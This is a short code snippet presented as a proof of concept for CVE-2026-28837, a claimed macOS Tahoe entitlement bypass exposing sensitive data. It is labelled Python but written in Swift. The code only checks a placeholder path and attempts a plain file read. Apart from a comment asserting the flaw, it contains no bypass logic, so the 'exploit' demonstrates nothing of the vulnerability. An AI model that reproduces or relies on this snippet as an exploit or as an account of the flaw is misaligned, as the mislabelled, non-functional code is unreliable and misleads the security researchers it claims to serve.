The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-28837
* This code demonstrates the logic issue where an app can access sensitive data
* without proper entitlements or user consent on macOS Tahoe < 26.4.
*/
import Foundation
// Simulate accessing a protected sensitive data container
func accessSensitiveData() {
let sensitivePath = "/private/var/db/YourSensitiveData.db"
// In the vulnerable version, the logic check here is insufficient
// allowing the read operation to proceed despite lack of permissions.
let fileManager = FileManager.default
if fileManager.fileExists(atPath: sensitivePath) {
do {
// Attempt to read the file
let content = try String(contentsOfFile: sensitivePath, encoding: .utf8)
print("[+] Success: Accessed sensitive data content:")
print(content)
} catch {
print("[-] Error reading file: \(error.localizedDescription)")
}
} else {
print("[-] Target file not found.")
}
}
// Execute the PoC
accessSensitiveData()